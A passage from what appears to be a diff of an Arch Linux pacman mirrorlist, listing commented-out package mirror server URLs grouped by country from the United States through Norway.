https://mirrors.kernel.org/archlinux/$repo/os/$arch +#Server = http://mirror.dal10.us.leaseweb.net/archlinux/$repo/os/$arch +#Server = http://mirror.mia11.us.leaseweb.net/archlinux/$repo/os/$arch +#Server = http://mirror.sfo12.us.leaseweb.net/archlinux/$repo/os/$arch +#Server = http://mirror.wdc1.us.leaseweb.net/archlinux/$repo/os/$arch +#Server = https://mirror.dal10.us.leaseweb.net/archlinux/$repo/os/$arch +#Server = https://mirror.mia11.us.leaseweb.net/archlinux/$repo/os/$arch +#Server = https://mirror.sfo12.us.leaseweb.net/archlinux/$repo/os/$arch +#Server = https://mirror.wdc1.us.leaseweb.net/archlinux/$repo/os/$arch +#Server = http://mirrors.liquidweb.com/archlinux/$repo/os/$arch +#Server = http://mirror.lty.me/archlinux/$repo/os/$arch +#Server = https://mirror.lty.me/archlinux/$repo/os/$arch +#Server = http://mirrors.lug.mtu.edu/archlinux/$repo/os/$arch +#Server = https://mirrors.lug.mtu.edu/archlinux/$repo/os/$arch +#Server = http://mirror.math.princeton.edu/pub/archlinux/$repo/os/$arch +#Server = http://mirror.metrocast.net/archlinux/$repo/os/$arch +#Server = http://mirror.kaminski.io/archlinux/$repo/os/$arch +#Server = https://mirror.kaminski.io/archlinux/$repo/os/$arch +#Server = http://iad.mirrors.misaka.one/archlinux/$repo/os/$arch +#Server = https://iad.mirrors.misaka.one/archlinux/$repo/os/$arch +#Server = http://repo.miserver.it.umich.edu/archlinux/$repo/os/$arch +#Server = http://mirrors.mit.edu/archlinux/$repo/os/$arch +#Server = https://mirrors.mit.edu/archlinux/$repo/os/$arch +#Server = http://mirrors.ocf.berkeley.edu/archlinux/$repo/os/$arch +#Server = https://mirrors.ocf.berkeley.edu/archlinux/$repo/os/$arch +#Server = http://archmirror1.octyl.net/$repo/os/$arch +#Server = https://archmirror1.octyl.net/$repo/os/$arch +#Server = http://ftp.osuosl.org/pub/archlinux/$repo/os/$arch +#Server = http://arch.mirrors.pair.com/$repo/os/$arch +#Server = http://dfw.mirror.rackspace.com/archlinux/$repo/os/$arch +#Server = http://iad.mirror.rackspace.com/archlinux/$repo/os/$arch +#Server = http://ord.mirror.rackspace.com/archlinux/$repo/os/$arch +#Server = https://dfw.mirror.rackspace.com/archlinux/$repo/os/$arch +#Server = https://iad.mirror.rackspace.com/archlinux/$repo/os/$arch +#Server = https://ord.mirror.rackspace.com/archlinux/$repo/os/$arch +#Server = http://mirrors.radwebhosting.com/archlinux/$repo/os/$arch +#Server = https://mirrors.radwebhosting.com/archlinux/$repo/os/$arch +#Server = http://plug-mirror.rcac.purdue.edu/archlinux/$repo/os/$arch +#Server = https://plug-mirror.rcac.purdue.edu/archlinux/$repo/os/$arch +#Server = http://mirrors.rit.edu/archlinux/$repo/os/$arch +#Server = https://mirrors.rit.edu/archlinux/$repo/os/$arch +#Server = http://mirrors.rutgers.edu/archlinux/$repo/os/$arch +#Server = https://mirrors.rutgers.edu/archlinux/$repo/os/$arch +#Server = http://mirror.siena.edu/archlinux/$repo/os/$arch +#Server = http://mirrors.sonic.net/archlinux/$repo/os/$arch +#Server = https://mirrors.sonic.net/archlinux/$repo/os/$arch +#Server = http://mirror.phx1.us.spryservers.net/archlinux/$repo/os/$arch +#Server = https://mirror.phx1.us.spryservers.net/archlinux/$repo/os/$arch +#Server = http://arch.mirror.square-r00t.net/$repo/os/$arch +#Server = https://arch.mirror.square-r00t.net/$repo/os/$arch +#Server = http://mirror.stephen304.com/archlinux/$repo/os/$arch +#Server = https://mirror.stephen304.com/archlinux/$repo/os/$arch +#Server = http://ftp.sudhip.com/archlinux/$repo/os/$arch +#Server = https://ftp.sudhip.com/archlinux/$repo/os/$arch +#Server = http://mirror.pit.teraswitch.com/archlinux/$repo/os/$arch +#Server = https://mirror.pit.teraswitch.com/archlinux/$repo/os/$arch +#Server = https://mirror.theash.xyz/arch/$repo/os/$arch +#Server = http://mirror.umd.edu/archlinux/$repo/os/$arch +#Server = http://mirror.vtti.vt.edu/archlinux/$repo/os/$arch +#Server = http://mirrors.xmission.com/archlinux/$repo/os/$arch +#Server = http://mirrors.xtom.com/archlinux/$repo/os/$arch +#Server = https://mirrors.xtom.com/archlinux/$repo/os/$arch +#Server = https://zxcvfdsa.com/arch/$repo/os/$arch + +## Worldwide +#Server = http://mirror.rackspace.com/archlinux/$repo/os/$arch +#Server = https://mirror.rackspace.com/archlinux/$repo/os/$arch + +## Australia +#Server = https://mirror.aarnet.edu.au/pub/archlinux/$repo/os/$arch +#Server = http://archlinux.mirror.digitalpacific.com.au/$repo/os/$arch +#Server = https://archlinux.mirror.digitalpacific.com.au/$repo/os/$arch +#Server = http://ftp.iinet.net.au/pub/archlinux/$repo/os/$arch +#Server = http://mirror.internode.on.net/pub/archlinux/$repo/os/$arch +#Server = http://mirror.launtel.net.au/repo/arch/$repo/os/$arch +#Server = https://mirror.launtel.net.au/repo/arch/$repo/os/$arch +#Server = http://arch.lucassymons.net/$repo/os/$arch +#Server = https://arch.lucassymons.net/$repo/os/$arch +#Server = http://syd.mirror.rackspace.com/archlinux/$repo/os/$arch +#Server = https://syd.mirror.rackspace.com/archlinux/$repo/os/$arch +#Server = http://ftp.swin.edu.au/archlinux/$repo/os/$arch + +## Austria +#Server = http://mirror.digitalnova.at/archlinux/$repo/os/$arch +#Server = http://mirror.easyname.at/archlinux/$repo/os/$arch +#Server = http://mirror.reisenbauer.ee/archlinux/$repo/os/$arch +#Server = https://mirror.reisenbauer.ee/archlinux/$repo/os/$arch + +## Bangladesh +#Server = http://mirror.xeonbd.com/archlinux/$repo/os/$arch + +## Belarus +#Server = http://ftp.byfly.by/pub/archlinux/$repo/os/$arch +#Server = http://mirror.datacenter.by/pub/archlinux/$repo/os/$arch + +## Belgium +#Server = http://archlinux.cu.be/$repo/os/$arch +#Server = http://archlinux.mirror.kangaroot.net/$repo/os/$arch +#Server = http://mirror.tiguinet.net/arch/$repo/os/$arch + +## Bosnia and Herzegovina +#Server = http://archlinux.mirror.ba/$repo/os/$arch + +## Brazil +#Server = http://br.mirror.archlinux-br.org/$repo/os/$arch +#Server = http://archlinux.c3sl.ufpr.br/$repo/os/$arch +#Server = http://www.caco.ic.unicamp.br/archlinux/$repo/os/$arch +#Server = https://www.caco.ic.unicamp.br/archlinux/$repo/os/$arch +#Server = http://linorg.usp.br/archlinux/$repo/os/$arch +#Server = http://archlinux.pop-es.rnp.br/$repo/os/$arch +#Server = http://mirror.ufam.edu.br/archlinux/$repo/os/$arch +#Server = http://mirror.ufscar.br/archlinux/$repo/os/$arch + +## Bulgaria +#Server = https://mirror.darklinux.uk/archlinux/$repo/os/$arch +#Server = http://mirror.host.ag/archlinux/$repo/os/$arch +#Server = http://mirrors.netix.net/archlinux/$repo/os/$arch +#Server = http://mirror.telepoint.bg/archlinux/$repo/os/$arch +#Server = https://mirror.telepoint.bg/archlinux/$repo/os/$arch +#Server = http://mirrors.uni-plovdiv.net/archlinux/$repo/os/$arch +#Server = https://mirrors.uni-plovdiv.net/archlinux/$repo/os/$arch + +## Cambodia +#Server = http://mirror.sabay.com.kh/archlinux/$repo/os/$arch +#Server = https://mirror.sabay.com.kh/archlinux/$repo/os/$arch + +## Canada +#Server = https://mirror.0xem.ma/arch/$repo/os/$arch +#Server = http://mirror.cedille.club/archlinux/$repo/os/$arch +#Server = http://archlinux.mirror.colo-serv.net/$repo/os/$arch +#Server = http://mirror.csclub.uwaterloo.ca/archlinux/$repo/os/$arch +#Server = https://mirror.csclub.uwaterloo.ca/archlinux/$repo/os/$arch +#Server = http://mirror2.evolution-host.com/archlinux/$repo/os/$arch +#Server = https://mirror2.evolution-host.com/archlinux/$repo/os/$arch +#Server = http://mirror.its.dal.ca/archlinux/$repo/os/$arch +#Server = http://muug.ca/mirror/archlinux/$repo/os/$arch +#Server = https://muug.ca/mirror/archlinux/$repo/os/$arch +#Server = http://arch.powerfly.ca/$repo/os/$arch +#Server = https://arch.powerfly.ca/$repo/os/$arch +#Server = http://archlinux.mirror.rafal.ca/$repo/os/$arch +#Server = http://mirror.scd31.com/arch/$repo/os/$arch +#Server = https://mirror.scd31.com/arch/$repo/os/$arch +#Server = http://mirror.sergal.org/archlinux/$repo/os/$arch +#Server = https://mirror.sergal.org/archlinux/$repo/os/$arch + +## Chile +#Server = http://mirror.anquan.cl/archlinux/$repo/os/$arch +#Server = http://mirror.archlinux.cl/$repo/os/$arch +#Server = http://mirror1.cl.netactuate.com/archlinux/$repo/os/$arch +#Server = https://mirror1.cl.netactuate.com/archlinux/$repo/os/$arch +#Server = http://mirror.ufro.cl/archlinux/$repo/os/$arch +#Server = https://mirror.ufro.cl/archlinux/$repo/os/$arch + +## China +#Server = http://mirrors.163.com/archlinux/$repo/os/$arch +#Server = http://mirrors.bfsu.edu.cn/archlinux/$repo/os/$arch +#Server = https://mirrors.bfsu.edu.cn/archlinux/$repo/os/$arch +#Server = http://mirrors.cqu.edu.cn/archlinux/$repo/os/$arch +#Server = https://mirrors.cqu.edu.cn/archlinux/$repo/os/$arch +#Server = http://mirrors.dgut.edu.cn/archlinux/$repo/os/$arch +#Server = https://mirrors.dgut.edu.cn/archlinux/$repo/os/$arch +#Server = http://mirrors.hit.edu.cn/archlinux/$repo/os/$arch +#Server = https://mirrors.hit.edu.cn/archlinux/$repo/os/$arch +#Server = http://mirror.lzu.edu.cn/archlinux/$repo/os/$arch +#Server = http://mirrors.neusoft.edu.cn/archlinux/$repo/os/$arch +#Server = https://mirrors.neusoft.edu.cn/archlinux/$repo/os/$arch +#Server = http://mirrors.nju.edu.cn/archlinux/$repo/os/$arch +#Server = https://mirrors.nju.edu.cn/archlinux/$repo/os/$arch +#Server = http://mirror.redrock.team/archlinux/$repo/os/$arch +#Server = https://mirror.redrock.team/archlinux/$repo/os/$arch +#Server = https://mirrors.sjtug.sjtu.edu.cn/archlinux/$repo/os/$arch +#Server = http://mirrors.tuna.tsinghua.edu.cn/archlinux/$repo/os/$arch +#Server = https://mirrors.tuna.tsinghua.edu.cn/archlinux/$repo/os/$arch +#Server = http://mirrors.ustc.edu.cn/archlinux/$repo/os/$arch +#Server = https://mirrors.ustc.edu.cn/archlinux/$repo/os/$arch +#Server = http://mirrors.wsyu.edu.cn/archlinux/$repo/os/$arch +#Server = https://mirrors.wsyu.edu.cn/archlinux/$repo/os/$arch +#Server = https://mirrors.xjtu.edu.cn/archlinux/$repo/os/$arch +#Server = http://mirrors.zju.edu.cn/archlinux/$repo/os/$arch + +## Colombia +#Server = http://mirrors.udenar.edu.co/archlinux/$repo/os/$arch + +## Croatia +#Server = http://archlinux.iskon.hr/$repo/os/$arch + +## Czechia +#Server = http://mirror.dkm.cz/archlinux/$repo/os/$arch +#Server = https://mirror.dkm.cz/archlinux/$repo/os/$arch +#Server = https://europe.mirror.pkgbuild.com/$repo/os/$arch +#Server = http://ftp.fi.muni.cz/pub/linux/arch/$repo/os/$arch +#Server = http://ftp.linux.cz/pub/linux/arch/$repo/os/$arch +#Server = http://gluttony.sin.cvut.cz/arch/$repo/os/$arch +#Server = https://gluttony.sin.cvut.cz/arch/$repo/os/$arch +#Server = http://mirrors.nic.cz/archlinux/$repo/os/$arch +#Server = http://ftp.sh.cvut.cz/arch/$repo/os/$arch +#Server = https://ftp.sh.cvut.cz/arch/$repo/os/$arch +#Server = http://mirror.vpsfree.cz/archlinux/$repo/os/$arch + +## Denmark +#Server = http://mirrors.dotsrc.org/archlinux/$repo/os/$arch +#Server = https://mirrors.dotsrc.org/archlinux/$repo/os/$arch +#Server = http://mirror.one.com/archlinux/$repo/os/$arch +#Server = https://mirror.one.com/archlinux/$repo/os/$arch + +## Ecuador +#Server = http://mirror.cedia.org.ec/archlinux/$repo/os/$arch +#Server = http://mirror.espoch.edu.ec/archlinux/$repo/os/$arch +#Server = http://mirror.uta.edu.ec/archlinux/$repo/os/$arch + +## Estonia +#Server = http://mirror.cspacehostings.com/archlinux/$repo/os/$arch +#Server = https://mirror.cspacehostings.com/archlinux/$repo/os/$arch +#Server = http://mirrors.xtom.ee/archlinux/$repo/os/$arch +#Server = https://mirrors.xtom.ee/archlinux/$repo/os/$arch + +## Finland +#Server = https://arch.mcstrugs.org/$repo/os/$arch +#Server = http://mirror.arctic.lol/ArchMirror/$repo/os/$arch +#Server = http://arch.mirror.far.fi/$repo/os/$arch +#Server = http://mirror.hosthink.net/archlinux/$repo/os/$arch +#Server = https://mirror.srv.fail/archlinux/$repo/os/$arch +#Server = http://mirror.wuki.li/archlinux/$repo/os/$arch +#Server = https://mirror.wuki.li/archlinux/$repo/os/$arch +#Server = http://arch.yhtez.xyz/$repo/os/$arch +#Server = https://arch.yhtez.xyz/$repo/os/$arch + +## France +#Server = http://archlinux.de-labrusse.fr/$repo/os/$arch +#Server = http://mirror.archlinux.ikoula.com/archlinux/$repo/os/$arch +#Server = https://archlinux.vi-di.fr/$repo/os/$arch +#Server = http://archlinux.mirrors.benatherton.com/$repo/os/$arch +#Server = http://mirror.cyberbits.eu/archlinux/$repo/os/$arch +#Server = https://mirror.cyberbits.eu/archlinux/$repo/os/$arch +#Server = http://archlinux.datagr.am/$repo/os/$arch +#Server = https://mirrors.eric.ovh/arch/$repo/os/$arch +#Server = http://mirror.ibcp.fr/pub/archlinux/$repo/os/$arch +#Server = http://mirror.lastmikoi.net/archlinux/$repo/os/$arch +#Server = https://arch-mirror.cloud.louifox.house/$repo/os/$arch +#Server = http://archlinux.mailtunnel.eu/$repo/os/$arch +#Server = https://archlinux.mailtunnel.eu/$repo/os/$arch +#Server = http://mir.archlinux.fr/$repo/os/$arch +#Server = http://mirrors.celianvdb.fr/archlinux/$repo/os/$arch +#Server = https://mirrors.celianvdb.fr/archlinux/$repo/os/$arch +#Server = http://arch.nimukaito.net/$repo/os/$arch +#Server = https://arch.nimukaito.net/$repo/os/$arch +#Server = http://mirror.oldsql.cc/archlinux/$repo/os/$arch +#Server = https://mirror.oldsql.cc/archlinux/$repo/os/$arch +#Server = http://archlinux.mirrors.ovh.net/archlinux/$repo/os/$arch +#Server = http://archlinux.polymorf.fr/$repo/os/$arch +#Server = http://archlinux.rezopole.net/$repo/os/$arch +#Server = https://mirrors.slaanesh.org/archlinux/$repo/os/$arch +#Server = http://mirrors.standaloneinstaller.com/archlinux/$repo/os/$arch +#Server = https://mirror.sysa.tech/archlinux/$repo/os/$arch +#Server = https://mirror.thekinrar.fr/archlinux/$repo/os/$arch +#Server = http://ftp.u-strasbg.fr/linux/distributions/archlinux/$repo/os/$arch +#Server = https://mirror.wormhole.eu/archlinux/$repo/os/$arch +#Server = http://mirroir.wptheme.fr/archlinux/$repo/os/$arch +#Server = https://mirroir.wptheme.fr/archlinux/$repo/os/$arch +#Server = http://arch.yourlabs.org/$repo/os/$arch +#Server = https://arch.yourlabs.org/$repo/os/$arch + +## Georgia +#Server = http://archlinux.grena.ge/$repo/os/$arch +#Server = https://archlinux.grena.ge/$repo/os/$arch + +## Germany +#Server = http://mirror.23m.com/archlinux/$repo/os/$arch +#Server = https://mirror.23m.com/archlinux/$repo/os/$arch +#Server = http://ftp.agdsn.de/pub/mirrors/archlinux/$repo/os/$arch +#Server = https://ftp.agdsn.de/pub/mirrors/archlinux/$repo/os/$arch +#Server = https://appuals.com/archlinux/$repo/os/$arch +#Server = http://artfiles.org/archlinux.org/$repo/os/$arch +#Server = https://mirror.bethselamin.de/$repo/os/$arch +#Server = http://mirror.chaoticum.net/arch/$repo/os/$arch +#Server = https://mirror.chaoticum.net/arch/$repo/os/$arch +#Server = http://mirror.checkdomain.de/archlinux/$repo/os/$arch +#Server = https://mirror.checkdomain.de/archlinux/$repo/os/$arch +#Server = http://mirror.clientvps.com/archlinux/$repo/os/$arch +#Server = https://mirror.clientvps.com/archlinux/$repo/os/$arch +#Server = https://mirror.dogado.de/archlinux/$repo/os/$arch +#Server = http://mirror.f4st.host/archlinux/$repo/os/$arch +#Server = https://mirror.f4st.host/archlinux/$repo/os/$arch +#Server = http://ftp.fau.de/archlinux/$repo/os/$arch +#Server = https://ftp.fau.de/archlinux/$repo/os/$arch +#Server = https://pkg.fef.moe/archlinux/$repo/os/$arch +#Server = https://dist-mirror.fem.tu-ilmenau.de/archlinux/$repo/os/$arch +#Server = http://mirror.fsrv.services/archlinux/$repo/os/$arch +#Server = https://mirror.fsrv.services/archlinux/$repo/os/$arch +#Server = https://mirror.gnomus.de/$repo/os/$arch +#Server = http://www.gutscheindrache.com/mirror/archlinux/$repo/os/$arch +#Server = http://ftp.gwdg.de/pub/linux/archlinux/$repo/os/$arch +#Server = http://archlinux.honkgong.info/$repo/os/$arch +#Server = http://ftp.hosteurope.de/mirror/ftp.archlinux.org/$repo/os/$arch +#Server = http://ftp-stud.hs-esslingen.de/pub/Mirrors/archlinux/$repo/os/$arch +#Server = http://archlinux.mirror.iphh.net/$repo/os/$arch +#Server = http://arch.jensgutermuth.de/$repo/os/$arch +#Server = https://arch.jensgutermuth.de/$repo/os/$arch +#Server = http://mirror.kumi.systems/archlinux/$repo/os/$arch +#Server = https://mirror.kumi.systems/archlinux/$repo/os/$arch +#Server = http://mirror.fra10.de.leaseweb.net/archlinux/$repo/os/$arch +#Server = https://mirror.fra10.de.leaseweb.net/archlinux/$repo/os/$arch +#Server = http://mirror.metalgamer.eu/archlinux/$repo/os/$arch +#Server = https://mirror.metalgamer.eu/archlinux/$repo/os/$arch +#Server = http://mirror.mikrogravitation.org/archlinux/$repo/os/$arch +#Server = https://mirror.mikrogravitation.org/archlinux/$repo/os/$arch +#Server = https://mirror.pkgbuild.com/$repo/os/$arch +#Server = http://mirror.moson.org/arch/$repo/os/$arch +#Server = https://mirror.moson.org/arch/$repo/os/$arch +#Server = http://mirrors.n-ix.net/archlinux/$repo/os/$arch +#Server = https://mirrors.n-ix.net/archlinux/$repo/os/$arch +#Server = http://mirror.netcologne.de/archlinux/$repo/os/$arch +#Server = https://mirror.netcologne.de/archlinux/$repo/os/$arch +#Server = http://mirrors.niyawe.de/archlinux/$repo/os/$arch +#Server = https://mirrors.niyawe.de/archlinux/$repo/os/$arch +#Server = http://mirror.orbit-os.com/archlinux/$repo/os/$arch +#Server = https://mirror.orbit-os.com/archlinux/$repo/os/$arch +#Server = http://packages.oth-regensburg.de/archlinux/$repo/os/$arch +#Server = https://packages.oth-regensburg.de/archlinux/$repo/os/$arch +#Server = http://phinau.de/arch/$repo/os/$arch +#Server = https://phinau.de/arch/$repo/os/$arch +#Server = https://mirror.pseudoform.org/$repo/os/$arch +#Server = https://www.ratenzahlung.de/mirror/archlinux/$repo/os/$arch +#Server = http://ftp.halifax.rwth-aachen.de/archlinux/$repo/os/$arch +#Server = https://ftp.halifax.rwth-aachen.de/archlinux/$repo/os/$arch +#Server = http://linux.rz.rub.de/archlinux/$repo/os/$arch +#Server = http://mirror.satis-faction.de/archlinux/$repo/os/$arch +#Server = https://mirror.satis-faction.de/archlinux/$repo/os/$arch +#Server = http://mirror.selfnet.de/archlinux/$repo/os/$arch +#Server = https://mirror.selfnet.de/archlinux/$repo/os/$arch +#Server = http://ftp.spline.inf.fu-berlin.de/mirrors/archlinux/$repo/os/$arch +#Server = https://ftp.spline.inf.fu-berlin.de/mirrors/archlinux/$repo/os/$arch +#Server = http://archlinux.thaller.ws/$repo/os/$arch +#Server = https://archlinux.thaller.ws/$repo/os/$arch +#Server = http://ftp.tu-chemnitz.de/pub/linux/archlinux/$repo/os/$arch +#Server = http://mirror.ubrco.de/archlinux/$repo/os/$arch +#Server = https://mirror.ubrco.de/archlinux/$repo/os/$arch +#Server = http://mirror.undisclose.de/archlinux/$repo/os/$arch +#Server = https://mirror.undisclose.de/archlinux/$repo/os/$arch +#Server = http://ftp.uni-bayreuth.de/linux/archlinux/$repo/os/$arch +#Server = http://ftp.uni-hannover.de/archlinux/$repo/os/$arch +#Server = http://ftp.uni-kl.de/pub/linux/archlinux/$repo/os/$arch +#Server = http://mirror.united-gameserver.de/archlinux/$repo/os/$arch +#Server = https://arch.unixpeople.org/$repo/os/$arch +#Server = http://ftp.wrz.de/pub/archlinux/$repo/os/$arch +#Server = https://ftp.wrz.de/pub/archlinux/$repo/os/$arch +#Server = http://mirror.wtnet.de/arch/$repo/os/$arch +#Server = https://mirror.wtnet.de/arch/$repo/os/$arch +#Server = http://mirrors.xtom.de/archlinux/$repo/os/$arch +#Server = https://mirrors.xtom.de/archlinux/$repo/os/$arch +#Server = http://arch.mirror.zachlge.org/$repo/os/$arch +#Server = https://arch.mirror.zachlge.org/$repo/os/$arch + +## Greece +#Server = http://ftp.cc.uoc.gr/mirrors/linux/archlinux/$repo/os/$arch +#Server = https://repo.greeklug.gr/data/pub/linux/archlinux/$repo/os/$arch +#Server = http://mirrors.myaegean.gr/linux/archlinux/$repo/os/$arch +#Server = http://ftp.ntua.gr/pub/linux/archlinux/$repo/os/$arch +#Server = http://ftp.otenet.gr/linux/archlinux/$repo/os/$arch + +## Hong Kong +#Server = https://asia.mirror.pkgbuild.com/$repo/os/$arch +#Server = http://mirror-hk.koddos.net/archlinux/$repo/os/$arch +#Server = https://mirror-hk.koddos.net/archlinux/$repo/os/$arch +#Server = http://hkg.mirror.rackspace.com/archlinux/$repo/os/$arch +#Server = https://hkg.mirror.rackspace.com/archlinux/$repo/os/$arch +#Server = https://arch-mirror.wtako.net/$repo/os/$arch +#Server = http://mirror.xtom.com.hk/archlinux/$repo/os/$arch +#Server = https://mirror.xtom.com.hk/archlinux/$repo/os/$arch + +## Hungary +#Server = http://ftp.ek-cer.hu/pub/mirrors/ftp.archlinux.org/$repo/os/$arch +#Server = http://archmirror.hbit.sztaki.hu/archlinux/$repo/os/$arch +#Server = http://nova.quantum-mirror.hu/mirrors/pub/archlinux/$repo/os/$arch +#Server = http://quantum-mirror.hu/mirrors/pub/archlinux/$repo/os/$arch +#Server = http://super.quantum-mirror.hu/mirrors/pub/archlinux/$repo/os/$arch +#Server = https://nova.quantum-mirror.hu/mirrors/pub/archlinux/$repo/os/$arch +#Server = https://quantum-mirror.hu/mirrors/pub/archlinux/$repo/os/$arch +#Server = https://super.quantum-mirror.hu/mirrors/pub/archlinux/$repo/os/$arch + +## Iceland +#Server = http://mirror.system.is/arch/$repo/os/$arch +#Server = https://mirror.system.is/arch/$repo/os/$arch + +## India +#Server = http://mirror.cse.iitk.ac.in/archlinux/$repo/os/$arch +#Server = http://mirrors.piconets.webwerks.in/archlinux-mirror/$repo/os/$arch +#Server = https://mirrors.piconets.webwerks.in/archlinux-mirror/$repo/os/$arch + +## Indonesia +#Server = http://mirror.cloudweeb.com/archlinux/$repo/os/$arch +#Server = http://mirror.faizuladib.com/archlinux/$repo/os/$arch +#Server = http://mirror.gi.co.id/archlinux/$repo/os/$arch +#Server = https://mirror.gi.co.id/archlinux/$repo/os/$arch +#Server = http://vpsmurah.jagoanhosting.com/archlinux/$repo/os/$arch +#Server = https://vpsmurah.jagoanhosting.com/archlinux/$repo/os/$arch +#Server = http://mirror.labkom.id/archlinux/$repo/os/$arch +#Server = http://mirror.papua.go.id/archlinux/$repo/os/$arch +#Server = https://mirror.papua.go.id/archlinux/$repo/os/$arch +#Server = http://mirror.poliwangi.ac.id/archlinux/$repo/os/$arch +#Server = http://suro.ubaya.ac.id/archlinux/$repo/os/$arch +#Server = http://mirror.telkomuniversity.ac.id/archlinux/$repo/os/$arch +#Server = https://mirror.telkomuniversity.ac.id/archlinux/$repo/os/$arch + +## Iran +#Server = http://mirror.hostiran.ir/archlinux/$repo/os/$arch +#Server = https://mirror.hostiran.ir/archlinux/$repo/os/$arch +#Server = http://repo.iut.ac.ir/repo/archlinux/$repo/os/$arch +#Server = http://mirror.nak-mci.ir/arch/$repo/os/$arch +#Server = http://mirror.rasanegar.com/archlinux/$repo/os/$arch +#Server = https://mirror.rasanegar.com/archlinux/$repo/os/$arch + +## Ireland +#Server = http://ftp.heanet.ie/mirrors/ftp.archlinux.org/$repo/os/$arch +#Server = https://ftp.heanet.ie/mirrors/ftp.archlinux.org/$repo/os/$arch + +## Israel +#Server = http://mirror.isoc.org.il/pub/archlinux/$repo/os/$arch +#Server = https://mirror.isoc.org.il/pub/archlinux/$repo/os/$arch +#Server = https://archlinux.mivzakim.net/$repo/os/$arch + +## Italy +#Server = https://archmirror.it/repos/$repo/os/$arch +#Server = http://archlinux.mirror.garr.it/archlinux/$repo/os/$arch +#Server = http://mirrors.prometeus.net/archlinux/$repo/os/$arch +#Server = http://archlinux.mirror.server24.net/$repo/os/$arch +#Server = https://archlinux.mirror.server24.net/$repo/os/$arch + +## Japan +#Server = http://mirrors.cat.net/archlinux/$repo/os/$arch +#Server = https://mirrors.cat.net/archlinux/$repo/os/$arch +#Server = http://ftp.tsukuba.wide.ad.jp/Linux/archlinux/$repo/os/$arch +#Server = http://ftp.jaist.ac.jp/pub/Linux/ArchLinux/$repo/os/$arch +#Server = https://ftp.jaist.ac.jp/pub/Linux/ArchLinux/$repo/os/$arch + +## Kazakhstan +#Server = http://mirror.hoster.kz/archlinux/$repo/os/$arch +#Server = https://mirror.hoster.kz/archlinux/$repo/os/$arch +#Server = http://mirror.ps.kz/archlinux/$repo/os/$arch +#Server = https://mirror.ps.kz/archlinux/$repo/os/$arch + +## Kenya +#Server = http://archlinux.mirror.liquidtelecom.com/$repo/os/$arch +#Server = https://archlinux.mirror.liquidtelecom.com/$repo/os/$arch + +## Latvia +#Server = http://archlinux.koyanet.lv/archlinux/$repo/os/$arch +#Server = https://archlinux.koyanet.lv/archlinux/$repo/os/$arch + +## Lithuania +#Server = http://mirrors.atviras.lt/archlinux/$repo/os/$arch +#Server = https://mirrors.atviras.lt/archlinux/$repo/os/$arch +#Server = http://mirrors.ims.nksc.lt/archlinux/$repo/os/$arch +#Server = https://mirrors.ims.nksc.lt/archlinux/$repo/os/$arch + +## Luxembourg +#Server = http://archlinux.mirror.root.lu/$repo/os/$arch + +## Mexico +#Server = https://arch.mirror.jsc.mx/$repo/os/$arch + +## Moldova +#Server = http://mirror.ihost.md/archlinux/$repo/os/$arch +#Server = https://mirror.ihost.md/archlinux/$repo/os/$arch + +## Monaco +#Server = http://archlinux.qontinuum.space/$repo/os/$arch +#Server = https://archlinux.qontinuum.space:4443/$repo/os/$arch + +## Netherlands +#Server = https://archlinux.beccacervello.it/archlinux/$repo/os/$arch +#Server = http://mirror.cj2.nl/archlinux/$repo/os/$arch +#Server = https://mirror.cj2.nl/archlinux/$repo/os/$arch +#Server = https://mirrors.daan.vodka/archlinux/$repo/os/$arch +#Server = http://mirror.erickochen.nl/archlinux/$repo/os/$arch +#Server = https://mirror.erickochen.nl/archlinux/$repo/os/$arch +#Server = http://mirror.i3d.net/pub/archlinux/$repo/os/$arch +#Server = https://mirror.i3d.net/pub/archlinux/$repo/os/$arch +#Server = https://arch.jeweet.net/$repo/os/$arch +#Server = http://mirror.koddos.net/archlinux/$repo/os/$arch +#Server = https://mirror.koddos.net/archlinux/$repo/os/$arch +#Server = http://arch.mirrors.lavatech.top/$repo/os/$arch +#Server = https://arch.mirrors.lavatech.top/$repo/os/$arch +#Server = http://mirror.ams1.nl.leaseweb.net/archlinux/$repo/os/$arch +#Server = https://mirror.ams1.nl.leaseweb.net/archlinux/$repo/os/$arch +#Server = http://archlinux.mirror.liteserver.nl/$repo/os/$arch +#Server = https://archlinux.mirror.liteserver.nl/$repo/os/$arch +#Server = http://mirror.lyrahosting.com/archlinux/$repo/os/$arch +#Server = https://mirror.lyrahosting.com/archlinux/$repo/os/$arch +#Server = http://mirror.mijn.host/archlinux/$repo/os/$arch +#Server = https://mirror.mijn.host/archlinux/$repo/os/$arch +#Server = http://mirror.neostrada.nl/archlinux/$repo/os/$arch +#Server = https://mirror.neostrada.nl/archlinux/$repo/os/$arch +#Server = http://ftp.nluug.nl/os/Linux/distr/archlinux/$repo/os/$arch +#Server = http://archlinux.mirror.pcextreme.nl/$repo/os/$arch +#Server = https://archlinux.mirror.pcextreme.nl/$repo/os/$arch +#Server = http://mirror.serverion.com/archlinux/$repo/os/$arch +#Server = https://mirror.serverion.com/archlinux/$repo/os/$arch +#Server = http://ftp.snt.utwente.nl/pub/os/linux/archlinux/$repo/os/$arch +#Server = http://mirror.tarellia.net/distr/archlinux/$repo/os/$arch +#Server = https://mirror.tarellia.net/distr/archlinux/$repo/os/$arch +#Server = http://archlinux.mirror.wearetriple.com/$repo/os/$arch +#Server = https://archlinux.mirror.wearetriple.com/$repo/os/$arch +#Server = http://mirror-archlinux.webruimtehosting.nl/$repo/os/$arch +#Server = https://mirror-archlinux.webruimtehosting.nl/$repo/os/$arch +#Server = http://mirrors.xtom.nl/archlinux/$repo/os/$arch +#Server = https://mirrors.xtom.nl/archlinux/$repo/os/$arch + +## New Caledonia +#Server = http://mirror.lagoon.nc/pub/archlinux/$repo/os/$arch +#Server = http://archlinux.nautile.nc/archlinux/$repo/os/$arch +#Server = https://archlinux.nautile.nc/archlinux/$repo/os/$arch + +## New Zealand +#Server = http://mirror.2degrees.nz/archlinux/$repo/os/$arch +#Server = https://mirror.2degrees.nz/archlinux/$repo/os/$arch +#Server = http://mirror.fsmg.org.nz/archlinux/$repo/os/$arch +#Server = https://mirror.fsmg.org.nz/archlinux/$repo/os/$arch +#Server = http://mirror.smith.geek.nz/archlinux/$repo/os/$arch +#Server = https://mirror.smith.geek.nz/archlinux/$repo/os/$arch + +## North Macedonia +#Server = http://arch.softver.org.mk/archlinux/$repo/os/$arch +#Server = http://mirror.onevip.mk/archlinux/$repo/os/$arch +#Server = http://mirror.t-home.mk/archlinux/$repo/os/$arch +#Server = https://mirror.t-home.mk/archlinux/$repo/os/$arch + +## Norway +#Server = http://mirror.archlinux.no/$repo/os/$arch +#Server = https://mirror.archlinux.no/$repo/os/$arch +#Server = 